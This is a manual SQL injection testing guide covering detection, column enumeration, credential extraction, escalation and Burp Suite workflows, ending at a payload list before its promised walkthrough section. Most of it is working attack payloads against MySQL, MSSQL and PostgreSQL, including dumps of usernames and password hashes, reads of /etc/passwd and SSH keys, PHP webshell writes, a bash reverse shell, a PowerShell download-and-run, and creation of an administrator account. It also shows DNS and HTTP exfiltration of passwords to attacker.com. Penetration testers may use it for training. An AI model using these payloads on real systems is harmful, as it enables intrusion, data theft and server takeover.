Manual SQL Injection Testing Techniques
Table of Contents
- Systematic Testing Methodology
- Phase 1 - Reconnaissance
- Phase 2 - Column Enumeration
- Phase 3 - Data Extraction
- Phase 4 - Escalation
- Burp Suite Manual Testing Workflow
- Complete Walkthrough Example
- Common Pitfalls and How to Avoid Them
1. Systematic Testing Methodology
Decision Flowchart: Input Identification to Escalation
┌─────────────────────────────────────────────────────────────────────┐
│ SQL INJECTION TESTING FLOW │
└─────────────────────────────────────────────────────────────────────┘
STEP 1: INPUT IDENTIFICATION
│
├─► Find all user-controllable inputs:
│ ├─ URL parameters (GET)
│ ├─ Form fields (POST)
│ ├─ HTTP headers (Cookie, User-Agent, Referer, X-Forwarded-For)
│ ├─ JSON/XML body parameters
│ └─ File upload names
│
└─► Prioritize inputs that interact with databases:
├─ Search boxes
├─ Login forms
├─ Product ID filters
├─ Sort/order parameters
└─ Pagination parameters
STEP 2: INJECTION DETECTION
│
├─► Test with basic payloads:
│ ├─ Single quote: '
│ ├─ Double quote: "
│ ├─ Single quote + comment: ' --
│ └─ Single quote + OR: ' OR '1'='1
│
├─► Observe response:
│ ├─ SQL error message? ──────────────────► ERROR-BASED SQLi
│ ├─ Different response? ─────────────────► BLIND SQLi (Boolean)
│ ├─ Time delay? ─────────────────────────► BLIND SQLi (Time-based)
│ └─ No difference? ──────────────────────► Try other inputs / WAF bypass
│
└─► Determine injection type:
├─ In single quotes: ' ...
├─ In double quotes: " ...
├─ Numeric (no quotes): 1 ...
└─ In parentheses: ( ... )
STEP 3: DATABASE IDENTIFICATION
│
├─► From error messages:
│ ├─ "You have an error in your SQL syntax" ──► MySQL
│ ├─ "ORA-00933" ────────────────────────────► Oracle
│ ├─ "ERROR: syntax error at or near" ────────► PostgreSQL
│ ├─ "Microsoft OLE DB Provider" ─────────────► MSSQL
│ └─ "SQLite3::SQLException" ─────────────────► SQLite
│
└─► From function/version queries:
├─ SELECT VERSION() ────────────────────────► MySQL
├─ SELECT @@version ────────────────────────► MSSQL
└─ SELECT @@versionnum ─────────────────────► MSSQL
STEP 4: COLUMN ENUMERATION
│
├─► ORDER BY binary search for column count
│ └─► UNION SELECT with NULLs to match columns
│
└─► Find displayable column positions
STEP 5: DATA EXTRACTION
│
├─► Extract database version, user, database name
│ ├─► Enumerate tables via information_schema
│ ├─► Enumerate columns via information_schema
│ └─► Extract data using CONCAT / GROUP_CONCAT
│
└─► Pivot tables for multiple rows
STEP 6: ESCALATION
│
├─► File read (LOAD_FILE, INTO OUTFILE)
│ ├─► File write (INTO DUMPFILE / OUTFILE)
│ └─► Command execution (xp_cmdshell, INTO OUTFILE for webshell)
│
└─► Out-of-band channels (DNS, HTTP) if blind
Phase-by-Phase Approach Overview
| Phase | Goal | Key Techniques | Time Estimate |
|---|---|---|---|
| Phase 1: Recon | Find injectable inputs, identify DB | Error analysis, basic payloads | 5-15 min |
| Phase 2: Columns | Determine column count & positions | ORDER BY, UNION NULL | 5-10 min |
| Phase 3: Extract | Pull tables, columns, data | information_schema, CONCAT | 15-30 min |
| Phase 4: Escalate | Read files, write files, exec commands | LOAD_FILE, xp_cmdshell | 10-20 min |
2. Phase 1 - Reconnaissance
2.1 Identifying All Input Points
URL Parameters (GET Requests)
Every parameter in the URL is a potential injection point:
# Standard parameters
http://target.com/products.php?id=1
http://target.com/search.php?q=laptop&category=electronics&sort=price
# Hidden parameters
http://target.com/page.php?id=5&debug=1&lang=en
# Cookie-based parameters
Cookie: session=abc123; user_id=5; role=admin
Form Fields (POST Requests)
<!-- Login forms -->
<form action="/login.php" method="POST">
<input name="username" type="text" />
<input name="password" type="text" />
</form>
<!-- Search forms -->
<form action="/search.php" method="POST">
<input name="search_query" type="text" />
<select name="category">
<option value="1">Electronics</option>
</select>
</form>
HTTP Headers
# Commonly injectable headers
User-Agent: Mozilla/5.0 ...
Referer: http://target.com/page.php?id=1
X-Forwarded-For: 192.168.1.1
Cookie: PHPSESSID=abc123; lang=en
Accept-Language: en-US
# Less common but worth testing
X-Real-IP: 192.168.1.1
X-Original-URL: /page.php?id=1
JSON/XML Body Parameters
{
"username": "admin",
"password": "password123",
"search": "laptop"
}
2.2 Testing for Injection with Basic Payloads
Step 1: Single Quote Test
The most fundamental test — break out of the string context:
Original: http://target.com/products.php?id=1
Test: http://target.com/products.php?id=1'
Expected responses and what they mean:
| Response | Meaning | Next Step |
|---|---|---|
| SQL error message | Error-based SQLi confirmed | Note DB type from error |
| Blank page / 500 error | Error-based (errors suppressed) | Try comment payloads |
| Same as original | Input may be numeric or filtered | Try numeric payloads |
| Different content | Boolean-based blind SQLi | Proceed to blind techniques |
Step 2: Comment Out Remaining Query
Payload: http://target.com/products.php?id=1' --
Payload: http://target.com/products.php?id=1' #
Payload: http://target.com/products.php?id=1' /*
What this does:
-- Original query (assumed):
SELECT * FROM products WHERE id = '1' AND active = 1
-- With payload 1' --:
SELECT * FROM products WHERE id = '1' --' AND active = 1'
-- Everything after -- is commented out
-- If response is same as id=1, injection confirmed!
Step 3: Tautology Test (OR True)
Payload: http://target.com/products.php?id=1' OR '1'='1
Payload: http://target.com/products.php?id=1' OR '1'='1' --
Payload: http://target.com/products.php?id=1 OR 1=1 --
What this does:
-- Original query:
SELECT * FROM products WHERE id = '1'
-- With payload 1' OR '1'='1:
SELECT * FROM products WHERE id = '1' OR '1'='1'
-- Always true! Returns ALL rows if successful
Expected result: If the page returns many more results than normal, SQLi is confirmed.
Step 4: Negative Test (AND False)
Payload: http://target.com/products.php?id=1' AND '1'='2
Payload: http://target.com/products.php?id=1 AND 1=2 --
Expected result: If the page returns no results or different content, SQLi is likely present.
Step 5: Numeric Context Test
If single quotes don’t work, try numeric context:
Payload: http://target.com/products.php?id=1 AND 1=1
Payload: http://target.com/products.php?id=1 AND 1=2
Payload: http://target.com/products.php?id=1 UNION SELECT 1,2,3 --
Compare responses:
id=1 AND 1=1→ should return same asid=1id=1 AND 1=2→ should return nothing/different
If the two responses differ, numeric SQLi is confirmed.
Step 6: Double Quote Test
Payload: http://target.com/products.php?id=1" --
Payload: http://target.com/products.php?id=1" OR "1"="1
Step 7: Parentheses Test
Payload: http://target.com/products.php?id=(1)
Payload: http://target.com/products.php?id=(1) AND (1)=(1
Payload: http://target.com/products.php?id=(1) AND (1)=(2
2.3 Determining Database Type from Errors
MySQL Error Patterns
Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near ''1'' at line 1
Error: Warning: mysql_fetch_array(): supplied argument is not a valid
MySQL result resource
Error: Unknown column 'abc' in 'where clause'
MySQL-specific confirmation payloads:
Payload: ' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(VERSION(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --
Payload: 1' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION())) --
Payload: 1' AND UPDATEXML(1,CONCAT(0x7e,VERSION()),1) --
MSSQL Error Patterns
Error: Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
Error: Unclosed quotation mark before the character string
Error: Incorrect syntax near '1'
Error: Line 1: Incorrect syntax near ''
MSSQL-specific confirmation payloads:
Payload: 1; WAITFOR DELAY '0:0:5' --
Payload: 1' AND 1=CONVERT(int,@@version) --
Payload: 1; DECLARE @s VARCHAR(4000) SET @s=CAST(0x... AS VARCHAR(4000)) --
PostgreSQL Error Patterns
Error: ERROR: syntax error at or near "1" at character 50
Error: ERROR: operator does not exist: character varying = integer
Error: PG::SyntaxError: ERROR: extra token at or near "1"
PostgreSQL-specific confirmation payloads:
Payload: 1' AND (SELECT 1 FROM (SELECT count(*),concat((VERSION()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --
Payload: 1' AND 1=cast((SELECT version()) as int) --
Oracle Error Patterns
Error: ORA-00933: SQL command not properly ended
Error: ORA-01756: quoted string not properly terminated
Error: ORA-00904: "ABC": invalid identifier
Oracle-specific confirmation payloads:
Payload: 1' AND (SELECT NULL FROM dual) --
Payload: 1' AND 1=CAST((SELECT BANANA FROM DUAL) AS INT) --
SQLite Error Patterns
Error: SQLite3::SQLException: near "1": syntax error
Error: SQLite3::SQLException: no such column: abc
2.4 Checking User Privileges
MySQL Privilege Checks
-- Check current user
' UNION SELECT current_user,2,3 --
-- Check if user is root / admin
' UNION SELECT current_user(),2,3 --
-- Check specific privileges
' UNION SELECT HAS_TABLE_PRIVILEGE('users','SELECT'),2,3 --
-- Check file privileges
' UNION SELECT @@global.secure_file_priv,2,3 --
-- Check if user can create tables
' UNION SELECT CURRENT_USER(),SUPER_priv,FILE_priv FROM information_schema.user_privileges WHERE grantee=CURRENT_USER() --
MSSQL Privilege Checks
-- Check current user
1'; SELECT SYSTEM_USER --
-- Check if sysadmin
1'; SELECT IS_SRVROLEMEMBER('sysadmin') --
-- Check database owner
1'; SELECT IS_MEMBER('db_owner') --
-- Check xp_cmdshell availability
1'; SELECT COUNT(*) FROM master.dbo.sysobjects WHERE name = 'xp_cmdshell' --
Quick Privilege Summary Table
| Database | Current User | Admin Check | File Access |
|---|---|---|---|
| MySQL | current_user() |
User = root@localhost | @@secure_file_priv |
| MSSQL | SYSTEM_USER |
IS_SRVROLEMEMBER('sysadmin') |
Check xp_cmdshell |
| PostgreSQL | current_user |
usesuper from pg_user |
lo_create |
| Oracle | SYS_CONTEXT('USERENV','CURRENT_USER') |
Check SYS role |
UTL_FILE |
3. Phase 2 - Column Enumeration
3.1 ORDER BY Binary Search Method
The ORDER BY clause helps determine how many columns the original query selects.
How It Works
-- If the original query is:
SELECT id, name, price FROM products WHERE id = 1
-- Then ORDER BY 3 works (3 columns exist)
-- But ORDER BY 4 fails (only 3 columns)
Linear Search (Simple but Slow)
http://target.com/products.php?id=1 ORDER BY 1 -- ✓ Works
http://target.com/products.php?id=1 ORDER BY 2 -- ✓ Works
http://target.com/products.php?id=1 ORDER BY 3 -- ✓ Works
http://target.com/products.php?id=1 ORDER BY 4 -- ✗ Error!
Result: 3 columns in the query.
Binary Search (Fast and Efficient)
For large column counts, use binary search:
Step 1: Test high number
id=1 ORDER BY 10 -- ✗ Error (too high)
Step 2: Halve it
id=1 ORDER BY 5 -- ✓ Works (between 1-5)
Step 3: Test upper half
id=1 ORDER BY 8 -- ✗ Error (between 5-8)
Step 4: Narrow down
id=1 ORDER BY 6 -- ✓ Works (between 6-8)
id=1 ORDER BY 7 -- ✗ Error
Result: 6 columns in the query
Binary Search Decision Tree
ORDER BY 16
/ \
Works ✓ Fails ✗
/ \
ORDER BY 32 ORDER BY 8
/ \ / \
Works Fails Works ✓ Fails ✗
/ \ / \
ORDER ORDER ORDER ORDER
BY 48 BY 24 BY 12 BY 4
Handling Different Quote Contexts
# Single quote context
id=1' ORDER BY 3 --
# Double quote context
id=1" ORDER BY 3 --
# Numeric context (no quotes needed)
id=1 ORDER BY 3 --
# Parentheses context
id=(1) ORDER BY 3 --
# With closing parenthesis
id=1') ORDER BY 3 --
id=1")) ORDER BY 3 --
3.2 UNION NULL Method
Once you know the column count, use UNION SELECT with NULL values.
Step 1: Match Column Count
If ORDER BY revealed 3 columns:
Payload: http://target.com/products.php?id=1 UNION SELECT 1,2,3 --
Expected response:
- If it works: You’ll see numbers 1, 2, 3 displayed on the page
- If error: Wrong column count — adjust and retry
Step 2: Using NULL Values
Payload: http://target.com/products.php?id=1 UNION SELECT NULL,NULL,NULL --
NULL is often safer because it avoids type mismatch errors.
Step 3: Finding Displayable Columns
The response from UNION SELECT 1,2,3 -- tells you which columns are visible:
<!-- Example page response -->
<div class="product">
<h2>Product Name</h2> <!-- Column 1 displays here -->
<p>Price: $29.99</p> <!-- Column 2 displays here -->
</div>
If you see 1, 2, 3 on the page, all three columns are displayable. Use any visible column position for data extraction.
Common UNION NULL Patterns
# 2 columns
UNION SELECT NULL,NULL --
# 3 columns
UNION SELECT NULL,NULL,NULL --
# 4 columns
UNION SELECT NULL,NULL,NULL,NULL --
# 5 columns
UNION SELECT NULL,NULL,NULL,NULL,NULL --
# 10 columns (common in complex queries)
UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --
Handling Type Mismatches
If NULL doesn’t work, try matching types:
# If column expects a string
UNION SELECT 'test',NULL,NULL --
# If column expects an integer
UNION SELECT 1,NULL,NULL --
# Mix types based on original query
UNION SELECT 'string',123,'another' --
3.3 Finding Displayable Columns
Method 1: Number Substitution
Payload: id=1 UNION SELECT 1,2,3,4,5 --
Look at the page output — whichever numbers appear are your displayable columns.
Method 2: String Substitution
Payload: id=1 UNION SELECT 'COL1','COL2','COL3','COL4','COL5' --
Easier to identify which column maps to which position.
Method 3: Using Database Functions
# MySQL
id=1 UNION SELECT USER(),VERSION(),DATABASE(),4,5 --
# MSSQL
id=1 UNION SELECT SYSTEM_USER,@@VERSION,DB_NAME(),4,5 --
If you see the function output on the page, that column position is displayable.
Visual Identification Example
Original page (id=1):
┌─────────────────────────────────────┐
│ Product: Wireless Mouse │ ← Column 1
│ Price: $29.99 │ ← Column 2
│ Rating: ★★★★☆ │ ← Column 3
└─────────────────────────────────────┘
With UNION SELECT 1,2,3 --:
┌─────────────────────────────────────┐
│ Product: 1 │ ← Column 1 is displayable
│ Price: 2 │ ← Column 2 is displayable
│ Rating: 3 │ ← Column 3 is displayable
└─────────────────────────────────────┘
All three columns are displayable! Use any for data extraction.
4. Phase 3 - Data Extraction
4.1 Database Version Extraction
MySQL
Payload: id=1 UNION SELECT VERSION(),2,3 --
Response: 5.7.32-0ubuntu0.18.04.1
Payload: id=1 UNION SELECT @@version,2,3 --
Response: 5.7.32-0ubuntu0.18.04.1
Payload: id=1 UNION SELECT @@version_comment,2,3 --
Response: MySQL Community Server (GPL)
MSSQL
Payload: id=1 UNION SELECT @@VERSION,2,3 --
Response: Microsoft SQL Server 2019 (RTM-CU12) ...
Payload: id=1 UNION SELECT @@VERSIONNUM,2,3 --
Response: 1500000000
PostgreSQL
Payload: id=1 UNION SELECT version(),2,3 --
Response: PostgreSQL 13.4 on x86_64-pc-linux-gnu ...
4.2 Current User Extraction
MySQL
Payload: id=1 UNION SELECT CURRENT_USER(),2,3 --
Response: webapp@localhost
Payload: id=1 UNION SELECT USER(),2,3 --
Response: webapp@localhost
Payload: id=1 UNION SELECT SESSION_USER(),2,3 --
Response: webapp@localhost
MSSQL
Payload: id=1 UNION SELECT SYSTEM_USER,2,3 --
Response: dbo
Payload: id=1 UNION SELECT USER_NAME(),2,3 --
Response: dbo
Payload: id=1 UNION SELECT SUSER_SNAME(),2,3 --
Response: NT AUTHORITY\NETWORK SERVICE
4.3 Database Name Extraction
MySQL
Payload: id=1 UNION SELECT DATABASE(),2,3 --
Response: webapp_db
Payload: id=1 UNION SELECT SCHEMA(),2,3 --
Response: webapp_db
MSSQL
Payload: id=1 UNION SELECT DB_NAME(),2,3 --
Response: webapp_db
Payload: id=1 UNION SELECT NAME FROM MASTER..SYSDATABASES --
Response: (lists all databases)
PostgreSQL
Payload: id=1 UNION SELECT current_database(),2,3 --
Response: webapp_db
4.4 Table Enumeration via information_schema
MySQL — List All Tables in Current Database
Payload: id=1 UNION SELECT
GROUP_CONCAT(table_name),2,3
FROM information_schema.tables
WHERE table_schema=DATABASE() --
Expected response:
users,products,orders,sessions,admin,config,logs
MySQL — List All Tables in All Databases
Payload: id=1 UNION SELECT
GROUP_CONCAT(table_name SEPARATOR '|'),2,3
FROM information_schema.tables --
Expected response:
users|products|orders|mysql.user|mysql.db|...
MSSQL — List All Tables
Payload: id=1 UNION SELECT
TABLE_NAME,2,3
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE='BASE TABLE' --
MSSQL — Alternative Table Listing
Payload: id=1 UNION SELECT
NAME,2,3
FROM SYSOBJECTS
WHERE XTYPE='U' --
PostgreSQL — List All Tables
Payload: id=1 UNION SELECT
table_name,2,3
FROM information_schema.tables
WHERE table_schema='public' --
Handling GROUP_CONCAT Length Limit
MySQL’s GROUP_CONCAT has a default limit of 1024 bytes. If results are truncated:
# Method 1: Increase the limit (if you have privileges)
id=1 UNION SELECT
GROUP_CONCAT(table_name SEPARATOR '|'),2,3
FROM information_schema.tables
WHERE table_schema=DATABASE()
GROUP BY table_name
HAVING MIN(SLEEP(0)) -- (not practical)
# Method 2: Use LIMIT and OFFSET to paginate
id=1 UNION SELECT
GROUP_CONCAT(table_name),2,3
FROM information_schema.tables
WHERE table_schema=DATABASE()
LIMIT 0,10 --
id=1 UNION SELECT
GROUP_CONCAT(table_name),2,3
FROM information_schema.tables
WHERE table_schema=DATABASE()
LIMIT 10,10 --
# Method 3: Filter by table name pattern
id=1 UNION SELECT
GROUP_CONCAT(table_name),2,3
FROM information_schema.tables
WHERE table_schema=DATABASE()
AND table_name LIKE 'user%' --
id=1 UNION SELECT
GROUP_CONCAT(table_name),2,3
FROM information_schema.tables
WHERE table_schema=DATABASE()
AND table_name LIKE 'admin%' --
4.5 Column Enumeration
MySQL — List Columns for a Specific Table
Payload: id=1 UNION SELECT
GROUP_CONCAT(column_name SEPARATOR '|'),2,3
FROM information_schema.columns
WHERE table_name='users'
AND table_schema=DATABASE() --
Expected response:
id|username|password|email|role|created_at
MySQL — List Columns for Multiple Tables
Payload: id=1 UNION SELECT
CONCAT(table_name,0x3a,column_name),2,3
FROM information_schema.columns
WHERE table_schema=DATABASE() --
Expected response:
users:id|users:username|users:password|...
MSSQL — List Columns for a Specific Table
Payload: id=1 UNION SELECT
COLUMN_NAME,2,3
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='users' --
MSSQL — Alternative Column Listing
Payload: id=1 UNION SELECT
NAME,2,3
FROM SYSCOLUMNS
WHERE ID=(SELECT ID FROM SYSOBJECTS WHERE NAME='users') --
4.6 Data Extraction with CONCAT and GROUP_CONCAT
Extracting Single Values
# Extract first user's credentials
id=1 UNION SELECT
username, password, 3
FROM users
LIMIT 0,1 --
# Response shows:
# Column 1: admin
# Column 2: 5f4dcc3b5aa765d61d8327deb882cf99
Extracting Multiple Values with CONCAT
# Combine username and password into one column
id=1 UNION SELECT
CONCAT(username,0x3a,password),2,3
FROM users
LIMIT 0,1 --
# Response:
# admin:5f4dcc3b5aa765d61d8327deb882cf99
Extracting All Rows with GROUP_CONCAT
# Combine ALL users into one result
id=1 UNION SELECT
GROUP_CONCAT(CONCAT(username,0x3a,password) SEPARATOR 0x7c7c),2,3
FROM users --
# Response:
# admin:5f4dcc3b5aa765d61d8327deb882cf99||user1:e99a18c428cb38d5f260853678922e03||user2:...
Hex values used:
0x3a=:(colon separator)0x7c7c=||(double pipe row separator)0x7c=|(single pipe)0x3d==(equals sign)0x3a=:(colon)
Extracting Multiple Columns
# Extract username, password, and email
id=1 UNION SELECT
GROUP_CONCAT(
CONCAT(username,0x3a,password,0x3a,email)
SEPARATOR 0x7c7c
),2,3
FROM users --
# Response:
# admin:5f4dcc3b5aa765d61d8327deb882cf99:admin@target.com||user1:hash:user1@target.com
Paginating Results with LIMIT
# First 10 users
id=1 UNION SELECT
GROUP_CONCAT(CONCAT(username,0x3a,password) SEPARATOR 0x7c7c),2,3
FROM users
LIMIT 0,10 --
# Next 10 users
id=1 UNION SELECT
GROUP_CONCAT(CONCAT(username,0x3a,password) SEPARATOR 0x7c7c),2,3
FROM users
LIMIT 10,10 --
# Users 20-30
id=1 UNION SELECT
GROUP_CONCAT(CONCAT(username,0x3a,password) SEPARATOR 0x7c7c),2,3
FROM users
LIMIT 20,10 --
Extracting from Specific Tables
# Extract admin credentials
id=1 UNION SELECT
CONCAT(username,0x3a,password),2,3
FROM admin
WHERE role='administrator' --
# Extract all email addresses
id=1 UNION SELECT
GROUP_CONCAT(email SEPARATOR 0x7c7c),2,3
FROM users --
# Extract configuration data
id=1 UNION SELECT
CONCAT(column_name,0x3a,column_value),2,3
FROM config --
4.7 Advanced Extraction Techniques
Using SUBSTRING for Character-by-Character Extraction (Blind SQLi)
# Check if first character of username is 'a'
id=1 AND SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1)='a' --
# Check ASCII value
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>97 --
# Binary search for ASCII value
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>122 --
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>110 --
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>100 --
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>98 --
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))=97 -- → 'a'
Time-Based Blind Extraction
# Check if first char is 'a'
id=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))=97,SLEEP(5),0) --
# If page loads slowly → character is 'a'
# If page loads normally → character is not 'a'
Using MID() as Alternative to SUBSTRING()
id=1 UNION SELECT MID((SELECT password FROM users LIMIT 0,1),1,10),2,3 --
5. Phase 4 - Escalation
5.1 File Read Attempts
MySQL — LOAD_FILE()
# Read /etc/passwd (Linux)
id=1 UNION SELECT LOAD_FILE('/etc/passwd'),2,3 --
# Read Windows SAM file
id=1 UNION SELECT LOAD_FILE('C:\\Windows\\System32\\config\\SAM'),2,3 --
# Read web config files
id=1 UNION SELECT LOAD_FILE('/var/www/html/config.php'),2,3 --
id=1 UNION SELECT LOAD_FILE('/var/www/html/wp-config.php'),2,3 --
# Read .htaccess
id=1 UNION SELECT LOAD_FILE('/var/www/html/.htaccess'),2,3 --
# Read SSH keys
id=1 UNION SELECT LOAD_FILE('/root/.ssh/id_rsa'),2,3 --
id=1 UNION SELECT LOAD_FILE('/home/www-data/.ssh/id_rsa'),2,3 --
Prerequisites for LOAD_FILE():
- FILE privilege for the MySQL user
- File must be on the same server as the database
secure_file_privmust allow the path (or be NULL/empty)
Check secure_file_priv:
id=1 UNION SELECT @@global.secure_file_priv,2,3 --
- If result is
NULLor empty: No restriction - If result is a path: Only files in that directory can be read
- If result is
''(empty string): No file operations allowed
MSSQL — OPENROWSET / BULK
# Read file using OPENROWSET
id=1; SELECT * FROM OPENROWSET(BULK 'C:\windows\win.ini', SINGLE_CLOB) AS file --
# Read file using BULK INSERT
id=1; CREATE TABLE filedata(content TEXT); BULK INSERT filedata FROM 'C:\windows\win.ini'; SELECT * FROM filedata; DROP TABLE filedata --
PostgreSQL — COPY
-- Read file using COPY (requires admin)
id=1; COPY (SELECT pg_read_file('/etc/passwd', 0, 1000)) TO '/dev/stdout' --
5.2 File Write Attempts
MySQL — INTO OUTFILE / DUMPFILE
# Write a PHP webshell
id=1 UNION SELECT
'<?php system($_GET["cmd"]); ?>',2,3
INTO OUTFILE '/var/www/html/shell.php' --
# Write to a specific path
id=1 UNION SELECT
'<?php passthru($_GET["cmd"]); ?>',2,3
INTO DUMPFILE '/var/www/html/shell.php' --
# Write a reverse shell
id=1 UNION SELECT
'<?php exec("/bin/bash -c \\'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1\\'"); ?>',2,3
INTO OUTFILE '/var/www/html/backdoor.php' --
Differences between OUTFILE and DUMPFILE:
INTO OUTFILE: Writes entire result set, adds newlines between rowsINTO DUMPFILE: Writes single row only, no newlines — better for webshells
Prerequisites:
- FILE privilege
secure_file_privmust allow the target directory- Target file must NOT already exist
MSSQL — xp_cmdshell for File Operations
# Enable xp_cmdshell
id=1; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE --
# Write a file
id=1; EXEC xp_cmdshell 'echo ^<?php system($_GET["cmd"]); ?^> > C:\inetpub\wwwroot\shell.php' --
# Read a file
id=1; EXEC xp_cmdshell 'type C:\windows\win.ini' --
5.3 Command Execution Attempts
MySQL — Limited Direct Execution
MySQL doesn’t have a direct command execution function, but you can:
# Method 1: Webshell via INTO OUTFILE (most common)
id=1 UNION SELECT
'<?php system($_GET["cmd"]); ?>',2,3
INTO OUTFILE '/var/www/html/shell.php' --
# Then access: http://target.com/shell.php?cmd=id
# Method 2: UDF (User Defined Function) - advanced
# Requires writing a shared library and creating a function
# Only works on older MySQL versions or with specific configurations
MSSQL — xp_cmdshell
# Check if xp_cmdshell exists
id=1; SELECT COUNT(*) FROM master.dbo.sysobjects WHERE name='xp_cmdshell' --
# Enable xp_cmdshell
id=1; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE --
# Execute commands
id=1; EXEC xp_cmdshell 'whoami' --
id=1; EXEC xp_cmdshell 'ipconfig /all' --
id=1; EXEC xp_cmdshell 'net user' --
id=1; EXEC xp_cmdshell 'net user hacker Password123! /add' --
id=1; EXEC xp_cmdshell 'net localgroup administrators hacker /add' --
# Get reverse shell
id=1; EXEC xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString(''http://10.10.14.x/invoker.ps1'')"' --
MSSQL — Alternative Command Execution
# Using OLE Automation
id=1; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @o INT; EXEC sp_OACreate 'WScript.Shell', @o OUT;
EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c whoami > C:\temp\out.txt' --
# Using CLR (if enabled)
id=1; EXEC sp_configure 'clr enabled', 1; RECONFIGURE --
PostgreSQL — Command Execution
-- Using COPY with protocol handler
id=1; COPY (SELECT 'id') TO PROGRAM 'id' --
-- Using pg_ls_dir and pg_read_file
id=1; SELECT pg_ls_dir('.') --
-- Using lo_import/lo_export (requires admin)
id=1; SELECT lo_import('/etc/passwd') --
5.4 Out-of-Band Data Extraction
DNS-Based Exfiltration (MySQL)
# Extract data via DNS queries
id=1 AND (SELECT LOAD_FILE(CONCAT('\\\\',
(SELECT password FROM users LIMIT 0,1),
'.attacker.com\\test'))) --
# The DNS query will be:
# <password_hash>.attacker.com
HTTP-Based Exfiltration (MSSQL)
-- Using xp_dirtree
id=1; EXEC xp_dirtree '\\attacker.com\share' --
-- Using HTTP request (SQL Server 2012+)
id=1; DECLARE @req INT; EXEC sp_OACreate 'MSXML2.ServerXMLHTTP', @req OUT;
EXEC sp_OAMethod @req, 'open', NULL, 'GET',
'http://attacker.com/?data=' + (SELECT password FROM users), false;
EXEC sp_OAMethod @req, 'send' --
6. Burp Suite Manual Testing Workflow
6.1 Intercept → Repeater Workflow
Step 1: Capture the Request
- Open Burp Suite → Proxy → Intercept
- Set browser proxy to
127.0.0.1:8080 - Navigate to the target page with the parameter
- Click “Intercept is on” to capture the request
GET /products.php?id=1 HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 ...
Cookie: PHPSESSID=abc123
Step 2: Send to Repeater
- Right-click the captured request
- Select “Send to Repeater” (or press
Ctrl+R) - Click “Intercept is off” to let traffic flow
Step 3: Test in Repeater
- Switch to the Repeater tab
- Modify the request:
GET /products.php?id=1' HTTP/1.1
Host: target.com
-
Click “Send”
-
Observe the response
-
Continue testing with more payloads:
GET /products.php?id=1' OR '1'='1 HTTP/1.1
Host: target.com
GET /products.php?id=1 UNION SELECT 1,2,3-- HTTP/1.1
Host: target.com
Step 4: Save Request Groups
- In Repeater, right-click the request tab
- Select “Save request” to save important requests
- Organize tabs by testing phase:
- Tab 1: Detection payloads
- Tab 2: Column enumeration
- Tab 3: Data extraction
- Tab 4: Escalation attempts
6.2 Intruder Configuration for SQLi
Setup for Column Count Discovery
- Send request to Intruder (
Ctrl+I) - Go to Positions tab
- Clear all markers (
Ctrl+Shift+Clear) - Highlight the parameter value and click “Add §”:
GET /products.php?id=§1§ HTTP/1.1
- Go to Payloads tab
- Set Payload type: “Simple list”
- Enter payloads:
1 ORDER BY 1 --
1 ORDER BY 2 --
1 ORDER BY 3 --
1 ORDER BY 4 --
1 ORDER BY 5 --
1 ORDER BY 6 --
1 ORDER BY 7 --
1 ORDER BY 8 --
1 ORDER BY 9 --
1 ORDER BY 10 --
-
Go to Options tab
-
In “Grep - Match”, add patterns to look for:
ErrorWarningsyntaxUnknown column
-
Click “Start attack”
-
Sort by “Length” — the failing request will have a different length
Setup for UNION Column Matching
1 UNION SELECT NULL--
1 UNION SELECT NULL,NULL--
1 UNION SELECT NULL,NULL,NULL--
1 UNION SELECT NULL,NULL,NULL,NULL--
1 UNION SELECT NULL,NULL,NULL,NULL,NULL--
1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL--
Setup for Boolean-Based Blind SQLi
- Positions: Mark the parameter value
- Payloads: Use “Builder” or simple list:
1 AND 1=1 --
1 AND 1=2 --
1' AND '1'='1 --
1' AND '1'='2 --
- Sort by length — different lengths indicate SQLi
Setup for Time-Based Blind SQLi
1 AND SLEEP(5)--
1 AND IF(1=1,SLEEP(5),0)--
1 AND IF(1=2,SLEEP(5),0)--
Check the “Time” column in results — delayed responses indicate time-based SQLi.
6.3 Comparer for Response Diffing
Using Comparer to Spot Differences
-
Send two requests to Repeater:
- Request A:
id=1 AND 1=1 -- - Request B:
id=1 AND 1=2 --
- Request A:
-
Right-click Response A → “Send to Comparer”
-
Right-click Response B → “Send to Comparer”
-
Comparer shows highlighted differences:
- Green: Added content
- Red: Removed content
- Yellow: Changed content
Quick Diff Shortcut
- In Repeater, select response text
- Press
Ctrl+Shift+Dto send to Comparer - Send second response — automatic diff appears
6.4 Custom Payload Lists
Detection Payloads List (sqli-detection.txt)
'
"
' OR '1'='1
' OR '1'='1' --
" OR "1"="1
" OR "1"="1" --
1 OR 1=1 --
1' OR '1'='1' /*
1' OR '1'='1' #
1' UNION SELECT NULL--
1' UNION SELECT NULL,NULL--
1' UNION SELECT NULL,NULL,NULL--
1 AND SLEEP(5)--
1' AND SLEEP(5)--
